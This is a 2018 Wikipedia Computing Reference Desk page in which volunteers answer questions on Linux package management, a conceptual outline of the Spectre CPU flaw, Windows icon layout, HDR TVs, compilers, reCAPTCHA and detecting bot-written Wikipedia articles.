Jump to content

Wikipedia:Reference desk/Computing: Difference between revisions

From Wikipedia, the free encyclopedia
Content deleted Content added
SineBot (talk | contribs)
Line 84: Line 84:
Is the [[Abstract syntax tree]] a necessary step in every compiled program? That is, would every compiler necessarily generate something akin to it when going from source code to machine code? --[[User:Hofhof|Hofhof]] ([[User talk:Hofhof|talk]]) 20:28, 7 January 2018 (UTC)
Is the [[Abstract syntax tree]] a necessary step in every compiled program? That is, would every compiler necessarily generate something akin to it when going from source code to machine code? --[[User:Hofhof|Hofhof]] ([[User talk:Hofhof|talk]]) 20:28, 7 January 2018 (UTC)
:It's not a question of the language, but of the compiler design - for some simpler languages, you can do pure syntax-directed translation. But I'd say that for serious languages and compilers, translation via an intermediate stage akin to an AST is the standard approach. --[[User:Stephan Schulz|Stephan Schulz]] ([[User talk:Stephan Schulz|talk]]) 08:06, 8 January 2018 (UTC)
:It's not a question of the language, but of the compiler design - for some simpler languages, you can do pure syntax-directed translation. But I'd say that for serious languages and compilers, translation via an intermediate stage akin to an AST is the standard approach. --[[User:Stephan Schulz|Stephan Schulz]] ([[User talk:Stephan Schulz|talk]]) 08:06, 8 January 2018 (UTC)
:It's certainly not necessary. I doubt [[QuickBASIC]] created a tree before compiling to an executable as the language was simple enough to just go line by line. [[User:Joepnl|Joepnl]] ([[User talk:Joepnl|talk]]) 00:16, 11 January 2018 (UTC)


= January 8 =
= January 8 =

Revision as of 00:16, 11 January 2018

Welcome to the computing section
of the Wikipedia reference desk.
Select a section:
Want a faster answer?

Main page: Help searching Wikipedia

   

How can I get my question answered?

  • Select the section of the desk that best fits the general topic of your question (see the navigation column to the right).
  • Post your question to only one section, providing a short header that gives the topic of your question.
  • Type '~~~~' (that is, four tilde characters) at the end – this signs and dates your contribution so we know who wrote what and when.
  • Don't post personal contact information – it will be removed. Any answers will be provided here.
  • Please be as specific as possible, and include all relevant context – the usefulness of answers may depend on the context.
  • Note:
    • We don't answer (and may remove) questions that require medical diagnosis or legal advice.
    • We don't answer requests for opinions, predictions or debate.
    • We don't do your homework for you, though we'll help you past the stuck point.
    • We don't conduct original research or provide a free source of ideas, but we'll help you find information you need.



How do I answer a question?

Main page: Wikipedia:Reference desk/Guidelines

  • The best answers address the question directly, and back up facts with wikilinks and links to sources. Do not edit others' comments and do not give any medical or legal advice.
See also:


January 3

Is there any operational system with linux kernel that dont package managenement/repositories?

Is there any operational system with linux kernel that dont package managenement/repositories?
I was thinking about using a linux kernel operating system, I tested some but at all you had to download from repositories, I felt like I was at some distopian world where programs need to be authorized by some entity to be able to be downloaded from.201.79.59.255 (talk) 23:08, 3 January 2018 (UTC)[reply]

On any linux system, you can install software without using the native repository system. Just download source code and compile it yourself. Is that what you're wanting to do? CodeTalker (talk) 23:16, 3 January 2018 (UTC)[reply]
I'm not sure what you mean by "authorized by some entity": Linux repositories and package managers like dpkg attempt to manage the dependencies that inevitably arise when hundreds of source contributors rely on one another's work. You can certainly do that yourself, buy why would you want to? OldTimeNESter (talk) 23:59, 3 January 2018 (UTC)[reply]
There's nothing to stop you from downloading the source tarball for any program you want. You can then use gzip -dc program-source.gz && ./configure && make && sudo make install to build and install the package. If you do this then you'll probably find that you need to install build-dependencies for your new program to build, which you'll have to download and build yourself before you re-attempt building the original program. You might have to do this recursively several times. You may also find that two different programs need different, incompatible versions of the same dependency. The whole point of package managers is to remove this hassle. LongHairedFop (talk) 19:16, 4 January 2018 (UTC)[reply]
Package repositories are for convenience and security. Every Linux package manager I'm aware of allows you to install packages from sources other than the official repository; for example, on Debian, you can download a Debian package yourself from wherever you wish and install it with apt/dpkg on your system. You can even create your own Debian packages. This may take a bit of fiddling and some computer knowledge. Linux from Scratch walks you through manually building a GNU/Linux system yourself, hence there's no package manager. However, this is intended as a learning exercise. You'll understand why if you try it, as it's quite time-consuming, and, without a package manager, updating any software has to be done by you manually, though I believe there is an "unofficial" add-on package manager for people who want to actually use LFS as an "operational" system. --47.157.122.192 (talk) 20:46, 4 January 2018 (UTC)[reply]

January 5

I do not really understand what I read about this. I can parse what I read as two different stories about how this works (or maybe I am conflicting two different ideas), but either makes me suspect a giant fault in CPU architecture design (giant as in "no idiot could possibly have greenlighted this, let alone a team of experts"). What is the correct parsing of available info?

Story #1

A legitimate program sends to the CPU a thread that looks like:

if (some condition){
// access some secret info (that the thread is allowed to access, but not a random other thread)
// do some stuff with that info
}
else {
// do other stuff
}

The CPU decides to do speculative execution and execute the first branch of the if clause before seeing how the condition actually evaluates. A malicious thread started by Mallory can then pick up differences via various side-channels, including reading a shared cache or observing how much time was spent in the speculative execution (timing attack).

My question is: how does speculative execution matter to this? If cache is shared between threads, or if the contents of the secret impact execution time, surely this is the case whether the branch is executed on-the-regular or speculatively. (Unless the design of speculative execution implicitly assumes that shared cache could be used for speculative operations, since "it will eventually be cleaned up", yet normal operations do not use such shared cache, because obviously this could lead to cross-thread info leaking; in which case, I contend that was a very, very, very stupid assumption from the get-go.)

Story #2

Mallory crafts and runs a malicious piece of code similar to above:

if (some condition crafted to trigger speculative execution){
// access some secret info that Mallory's thread is not allowed to read
// do some stuff with that info designed to leak via side-channels
}

They do not have the permission level to access the info needed in the if clause, but when executing speculatively, the CPU decides to ignore checking permission levels because it does not want to throw an exception within a speculative branch, and fetches the data anyways. The CPU does not directly return the info because it will clean up after the condition is evaluated, but Mallory can retrieve it anyways by side channels.

My question is: can the CPU even do that (ignore premission levels)? Who thought it would be a good idea that speculative execution could do this? I get that the speculative branch will probably execute differently because of reasons, but it is essentially sandboxing, and IMO should never ever be able to make more reads than would be allowed within a regular execution - authorization tests should fail by default. TigraanClick here to contact me 12:59, 5 January 2018 (UTC)[reply]

You should read the original paper linked in our Spectre article. The details are rather complicated and I can't do them justice here. But to answer a couple of your questions, speculative execution is involved because one of the tricks involves passing an out of bound index to some code that accesses an array. The code of course compares the value to the array size and won't use it if it's out of bounds, but during speculative execution the result of the comparison is not yet known, so the CPU may access the out of bound value (which may be a secret not intended to be accessible outside the program) and load it into the CPU cache. A second timing trick is then used to determine the cache value. None of this requires a shared cache between threads or violation of permissision levels, and the conditional code in question is not crafted by the attacker, but already exists in the victim program. The attacker merely passes crafted input to the victim program. CodeTalker (talk) 19:01, 5 January 2018 (UTC)[reply]

January 6

Windows 10 desktop of HP Pavilion

I have this problem at least once a week. I have about 50 icons on my desktop. I spend time positioning them in groups but this morning for instance, I started my computer and I see ALL icons grouped on the left side of the desktop, all my groupings destroyed. Hiw to prevent it? Thanks, - AboutFace 22 (talk) 16:08, 6 January 2018 (UTC)[reply]

UltraMon has this functionality IIRC. (((The Quixotic Potato))) (talk) 16:13, 6 January 2018 (UTC)[reply]
http://store.steampowered.com/app/607380/Fences/ (((The Quixotic Potato))) (talk) 16:14, 6 January 2018 (UTC)[reply]
https://www.displayfusion.com/Features/ (((The Quixotic Potato))) (talk) 16:16, 6 January 2018 (UTC)[reply]
I can recommend DisplayFusion, and also installing Win 7 which doesn't have this problem. 93.136.29.199 (talk) 21:16, 7 January 2018 (UTC)[reply]
This will happen if you delete the desktop.ini file on your desktop. Normally you won't see this file, but if you have enabled "Show hidden files" and then deleted desktop.ini, that would completely explain this. The solution is simply to not delete that file or files (there may be two of them on the desktop). CodeTalker (talk) 16:04, 8 January 2018 (UTC)[reply]
Unfortunately that isn't true. It is a known bug. (((The Quixotic Potato))) (talk) 19:56, 8 January 2018 (UTC)[reply]
Are you sure the "auto arrange icons" option is off? [1] [2]. If it isn't you shouldn't be surprised they are rearranged and it's questionable if this is a bug. Otherwise when the resolution or scaling changes Windows will rearrange the icons as needed. However these should be preserved between changes. In other words, if you've set it up for one res, it should go back to that when you go back to the rest. There are various interactions with various programs and other things which can cause the arrangement to be lost and the way it works if it's lost it's not coming back, but this is definitely not something which happens to everyone, nor is this unique to Windows 10. If it keeps happening to you, you may be able to stop it by trying various things or you could use a third party utility (like those recommended above or many others) which locks the arrangement via some other fashion. Nil Einne (talk) 10:22, 9 January 2018 (UTC)[reply]

January 7

HDR TVs and Relaxation

Before going to sleep, I like to veg out for an hour or two watching TV to. Newer TVs now have higher dynamic ranges which means brighter brights. Does anyone know if these new HDR TV's brightness makes it more difficult to relax? A Quest For Knowledge (talk) 10:39, 7 January 2018 (UTC)[reply]

Isn't it the blue light that makes it harder to sleep (according to some) https://www.scientificamerican.com/article/q-a-why-is-blue-light-before-bedtime-bad-for-sleep/ ? Many pc monitors have a blue light filter mode, but I am not sure if that is also a feature on modern TVs. Have you tried reading a book? Probably more helpful on your quest. (((The Quixotic Potato))) (talk) 10:48, 7 January 2018 (UTC)[reply]
According to https://sleep.org/articles/is-it-bad-to-watch-tv-right-before-bed/, all modern screens put out some blue light, so watching TV is probably going to make it harder to get to sleep.OldTimeNESter (talk) 14:01, 7 January 2018 (UTC)[reply]
In case it wasn't clear, my question is whether HRD TVs are worse for relaxation than non-HDR TVs. I already know that I can fall asleep watching my regular TV. I'm wondering if I can still fall asleep watching an HDR TV without having to spend a couple thousand dollars to find out. A Quest For Knowledge (talk) 16:39, 7 January 2018 (UTC)[reply]

Are all languages compiled into an abstract syntax tree?

Is the Abstract syntax tree a necessary step in every compiled program? That is, would every compiler necessarily generate something akin to it when going from source code to machine code? --Hofhof (talk) 20:28, 7 January 2018 (UTC)[reply]

It's not a question of the language, but of the compiler design - for some simpler languages, you can do pure syntax-directed translation. But I'd say that for serious languages and compilers, translation via an intermediate stage akin to an AST is the standard approach. --Stephan Schulz (talk) 08:06, 8 January 2018 (UTC)[reply]
It's certainly not necessary. I doubt QuickBASIC created a tree before compiling to an executable as the language was simple enough to just go line by line. Joepnl (talk) 00:16, 11 January 2018 (UTC)[reply]

January 8

Windows 10 Mobile's Cortana's Quiet hours feature: possible collusion with MNOs and cold callers?

As far as I know, Windows 10 Mobile's Cortana's Quiet hours feature enables the user to set one automatic quiet-hour period for all the weekdays he or she chooses. This may be very inconvenient for some people, as these restrictions do not allow for different quiet-hour settings on workdays and weekends. Thus, there being no alternative apps with the Quiet hours feature, no Windows 10 Mobile user can automatically protect themselves from both unwanted night calls & unwanted early-weekend-morning cold calls. Has this hypothetical profit-over-people policy ever been criticized or at least neutrally described by any reliable source ? --Синкретик (talk) 19:52, 8 January 2018 (UTC)--Синкретик (talk) 18:48, 8 January 2018 (UTC)[reply]

To the best of my knowledge, no. You post is the first time I'm hearing of this. BTW, Windows Mobile is apparently dead, so you can request this feature from Microsoft, but it's very unlikely they will fix it. A Quest For Knowledge (talk) 19:58, 8 January 2018 (UTC)[reply]
Well there's no reason to come up with wacky conspiracy theories for the flaw in this feature when the more likely reason is Windows Mobile was basically a complete failure so Microsoft could not afford to fix every shortcoming. (It's surprising how long before mobile phone alarms universally had this feature even though it's something trivial to implement. Either this is because the manufacturers are in cahoots with um I dunno, McDonalds or they just didn't think about it.) A more relevant criticism seems to be that this feature depends on Cortana which wasn't (isn't?) even universall available. [http://www.wpxbox.com/use-quiet-hours-windows-10-mobile/. According to various sources like the earlier one and [3] [4] [5] [6] [//mspoweruser.com/known-issues-missing-features-windows-10-technical-preview-phones/, in Windows 8.1 you could choose to turn on quiet hours when marked as busy in the calendar. AFAICT, this was never implemented in Windows 10. Again you can come up with wacky conspiracy theories on why this is the case, or go with the simpler reason that Microsoft had realised their mobile OS strategy had failed by the time of Windows 10. Also as for RS, again given the failings of Windows Mobile, it's difficult enough to find RS that even talk about the quiet hours feature. Nil Einne (talk) 10:04, 9 January 2018 (UTC)[reply]

January 9

Why is the "I'm not a robot" box presented?

If I understand correctly, when I click inside the "not a robot" box, an algorithm determines whether my mouse movement prior to the click was "human". So, why isn't this feature embedded into any control, enabling to hide the "not a robot" box? For example, instead of clicking the "not a robot" box, then "Open account" - the "Open account" control would be programmed to already contain the "not a robot" functionality. Gil_mo (talk) 13:47, 9 January 2018 (UTC)[reply]

Because it's not really part of the site. It's a third-party service provided by ReCAPTCHA.
ApLundell (talk) 15:20, 9 January 2018 (UTC)[reply]

USB Charger

1) What is the current charging wire that is available and what is coming soon.

3) Why the smart phones still using v2.0 in new brands?

123.108.246.106 (talk) 16:04, 9 January 2018 (UTC)[reply]

What happened to question number 2? See our article USB#USB_3.0. (((The Quixotic Potato))) (talk) 16:13, 9 January 2018 (UTC)[reply]


detecting bot-generated content in Wikipedia

Hello,

I use the raw data of many Wikipedia articles for a machine-learning project. I use Python WikiExtractor for data extraction, but I need only man-made articles (i.e. I don't want to collect articles that were automatically generated by bots).

I have a few questions:

(1) How can I check the amount of articles in a given Wikipedia (specifically the Basque Wikipedia) that was generated by bots?

(2) can I check also the proportions of sentences (rather than articles) that were generated by bots?

(2) can I use WikiExtractor, or other tools, to extract only articles that were not written by bots?

Thanks! — Preceding unsigned comment added by 77.127.131.255 (talk) 17:13, 9 January 2018 (UTC)[reply]

I'll answer for English wikipedia, because that's all I know - you'll have to ask on the Basque Wikipedia how they've done things, but I imagine they've done things much the same.
You may struggle, depending on how strict you want "man-made articles" to be; depending on what arbitary definition you choose, there are no articles on (English Wikipedia at least) that are entirely "generated" by bots, or they all are - or some proportion are. All WikiExtractor does is give you access (albeit en masse) to revisions of articles - just the same as you'd get using the MediaWiki API, or just looking at article histories manually using the web interface. You can certainly identify bot accounts, and you can see the diffs that they do. You can find articles that they've created. That's all we store - just text diffs. So you can reject articles that were created, or edited, by a bot account (like the prolific User:rambot). But there are lots of semi-automated tools (like WP:REFILL or WP:TWINKLE) that are neither fully human or entirely automated. If you feel you have to reject articles edited with them, then you'll essentially reject the entire English Wikipedia (bar some ultra-neglected fringes). But beyond that, it just gets harder. Many (most, now) articles are built on dozen, hundreds, or many thousand edits, by people, bots, people with scripts, bots reverting vandalism, people partially reverting vandalism, endless edit wars and format tweaks, and lots and lots of individually tiny revisions. And all we store, and all any API will give you, is the diffs. There is no easy means to attribute any non-trivial article to a given editor and (beyond some fairly basic chunks, like US Census information inserted by bots like rambot) attribute the content of any sentence to a specific editor. Be they bot or not. It's not that this information is gone, it's that every article is the sum of many editors. Frankly, rather than this being the input to your project, analysing a specific article and determining what proportion of it was written by whom (given all those complexities) would itself be an interesting machine-learning or language-analysis problem. So TL;DR: the answer to all your questions is "probably no". -- Finlay McWalter··–·Talk 17:50, 9 January 2018 (UTC)[reply]

To actually determine what percentage of articles were made by bots, I recommend against any sort of automatic recognition. There's simply no need, just do a normal random sampling. I.E. Define some criteria of how to determine that an article is bot generated and then do a random sampling of maybe 1000 articles applying this criteria and extrapolate from there.

For the other questions, I don't know much about the Basque wikipedia, but I know a bunch of the small wikipedias have a very large number of stub articles created by bots. These articles have very little content and AFAIK most of them have never been edited by a non bot. The Volapük wikipedia is a classic case study in this to the extent that it's even mentioned in that article about the language, but there are a bunch more including non constructed languages. The Cebuano wikipedia for example has the second most number of articles to English. There's a perception this was at least in part an attempt to promote them on www.wikipedia and en.wikipedia. Fortunately while this was dealt with in various ways, no one ever really suggested trying to use a bot to assess these wikipedias, so there may have been no attempt to "evade" such a bot.

In the en.wikipedia case, after this started to happen, a depth requirement (see Meta:Wikipedia article depth) was introduced. See the archives of Template talk:Wikipedia languages and Talk:Main Page for details. Some of these wikipedias then started to get increasing depth. (I never investigated properly how this happened but I think the bots made a bunch more edits to all the articles and maybe also made support pages.) After this, wikipedias with too many stubs or short articles were simply excluded, an undefined objective criteria. I wasn't entirely happy with this, but I admit after doing a quick test and seeing how stark the difference generally was, I never made a big fuss about it. (Although the adhoc way this was done meant some wikipedias were listed which failed.)

www.wikipedia never bothered about this since they list all wikipedias anyway, although IIRC they did change the criteria for what was listed around the globe probably at least partially because of this. What used to be based on number of articles was changed to the popularity of the wikipedia i.e. how many people visited it, see Meta:Talk:Top Ten Wikipedias. (Mysteriously they chose to use Alexa statistics rather than WMF ones, but eventually this too was fixed.)

Anyway my main point relating to this question is if this happened on the Basque wikipedia, a lot depends on how these bot edits were done. If this didn't happen, and Basque followed a more typical editing pattern with some bots, some scripts, and a whole bunch of human editors, then unfortunately none of this helps much and you're likely to encounter the problems outlined by FMW albeit I expect to a far lesser extent (given there are a lot fewer editors). Looking at the list of wikipedia, the number of Basque wikipedia articles is perhaps a little high compared to the number of active users, but not extremely so so it's possible this didn't really happen to any real extent. Also it has not been excluded from the en.wikipedia list suggesting it isn't extremely stubby, unless it is one of the missed cases.

Anyway for any case where a very large percentage of the articles have never been touched by a human, if they were done from bot accounts or normal accounts but with a clear tag when editing from a bot, you could programmatically exclude most of these without much effort simply by finding out all these bots and tags. I doubt the number is more than 1000 and probably far less and I think most of them have edited a lot of articles. And I'm pretty sure with most articles there will be no edits from non bots. And most of these bots were basically completely automated so you don't really have to worry about defining what is and isn't a bot. The reason why this was often so widely criticised is because these wikipedias only had perhaps 10s or less active editors and were expanding the wikipedia from 10k or less to 100k or more articles. You will obviously miss out on some where someone not tagged as a bot did edit but maybe did nothing really. And maybe some smaller bots which edited a lot less.

But I suspect even with all that you'll still catch a large percentage of "bot articles". The only question is whether the situation is so bad despite exclude I suspect maybe 99+% of the wikipedia, you still find you have a large number of "bot articles" and working out a way to exclude them algorithmically is difficult.

OTOH, if these edits were made by normal editor accounts without any tags and the editor accounts have also contributed a lot of human work on the wikipedia, it's likely to be fairly difficult. You could perhaps try to use time, since I suspect the bots were often run for a period and then stopped but I'm not sure how easy it will be to find all the relevant timeframes, and also whether there is any risk of overlap with real human edits; or if not how quickly the human edits started after the bot editing stopped (i.e. how accurate your time frames will need to be).

Nil Einne (talk) 04:10, 10 January 2018 (UTC)[reply]

Thank you both! — Preceding unsigned comment added by 2.53.184.234 (talk) 12:07, 10 January 2018 (UTC)[reply]

January 10